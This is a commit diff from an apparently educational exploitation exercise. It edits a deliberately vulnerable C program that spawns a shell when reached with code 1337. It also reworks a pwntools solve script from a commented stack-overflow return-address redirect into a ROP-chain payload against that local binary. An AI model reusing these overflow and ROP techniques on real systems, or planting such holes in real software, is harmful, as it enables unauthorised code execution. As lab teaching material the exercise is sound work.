Skip to content

Commit abca022

Browse files
committed
Update
1 parent c3dffca commit abca022

2 files changed

Lines changed: 13 additions & 48 deletions

File tree

rop_chaining/rop.c

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@
55
void access_vault(int code)
66
{
77
if (code == 1337) {
8-
puts("Access granted");
98
execve("/bin/sh", NULL, NULL);
109
} else {
1110
puts("Access denied!");

rop_chaining/solve.py

Lines changed: 13 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -2,56 +2,22 @@
22

33
from pwn import *
44

5-
ACCESS_VAULT_FUNCTION_ADDR = 0x00401146
5+
REGISTER_GADGET = 0x401df2
6+
ACCESS_VAULT_FUNCTION_ADDR = 0x4016fd
67

7-
# Tell pwntools our target process to automate future functions
88
elf = context.binary = ELF('rop')
9+
context.terminal = 'kitty'
910

10-
io = process() # Actually start running the process
11+
# io = process()
12+
io = gdb.debug('bash', '''
13+
break main
14+
continue
15+
''')
1116

12-
# Wait until we are prompted with input
13-
# Notice how we use the "b" literal to mark it as a bytes object
14-
# https://docs.python.org/3/library/stdtypes.html#binary-sequence-types-bytes-bytearray-memoryview
1517
io.recvuntil(b"Enter the password to access Santa Ono's secret vault:")
1618

17-
# "disassemble main" in GDB launched with "gdb buffer_overflow"
18-
# Dump of assembler code for function main:
19-
# 0x0000000000401175 <+0>: push rbp
20-
# 0x0000000000401176 <+1>: mov rbp,rsp
21-
# 0x0000000000401179 <+4>: sub rsp,0x10
22-
# 0x000000000040117d <+8>: lea rax,[rip+0xe9c] # 0x402020
23-
# 0x0000000000401184 <+15>: mov rdi,rax
24-
# 0x0000000000401187 <+18>: call 0x401030 <puts@plt>
25-
# 0x000000000040118c <+23>: mov rdx,QWORD PTR [rip+0x2ead] # 0x404040 <stdin@GLIBC_2.2.5>
26-
# 0x0000000000401193 <+30>: lea rax,[rbp-0x10]
27-
# 0x0000000000401197 <+34>: mov esi,0x20
28-
# 0x000000000040119c <+39>: mov rdi,rax
29-
# 0x000000000040119f <+42>: call 0x401040 <fgets@plt>
30-
# 0x00000000004011a4 <+47>: lea rax,[rip+0xead] # 0x402058
31-
# 0x00000000004011ab <+54>: mov rdi,rax
32-
# 0x00000000004011ae <+57>: call 0x401030 <puts@plt>
33-
# 0x00000000004011b3 <+62>: mov eax,0x0
34-
# 0x00000000004011b8 <+67>: leave
35-
# 0x00000000004011b9 <+68>: ret <----- reads our injected return address!
36-
37-
# In assembly you can read "sub rsp,0x10" at the start of "main"
38-
# We need to write past 0x10 bytes to start modifying maliciously
39-
dummy_data = b'A' * 0x10
40-
# The saved ebp doesn't really matter
41-
# We only execute one other function which doesn't need it
42-
saved_ebp = b'B' * 8
43-
# We have to pack the address properly (endianess!)
44-
redirect_addr = p64(ACCESS_VAULT_FUNCTION_ADDR)
45-
# Craft the final bytes payload
46-
payload = dummy_data + saved_ebp + redirect_addr
47-
48-
# Overflow stack and get redirection
49-
# fgets will write past the end of the stack frame
50-
# It will set the return eip on the stack
51-
# The "ret" instruction will use this to go to our address
52-
io.send(payload)
53-
54-
# Open up stdin to terminal input
55-
# Required so you can start using the shell interactively
56-
# Generally speaking you add this after popping a shell
57-
io.interactive()
19+
payload = b'A' * 0x18 + p64(REGISTER_GADGET) + p64(1337) + p64(ACCESS_VAULT_FUNCTION_ADDR)
20+
21+
# io.send(payload)
22+
23+
# io.interactive()

0 commit comments

Comments
 (0)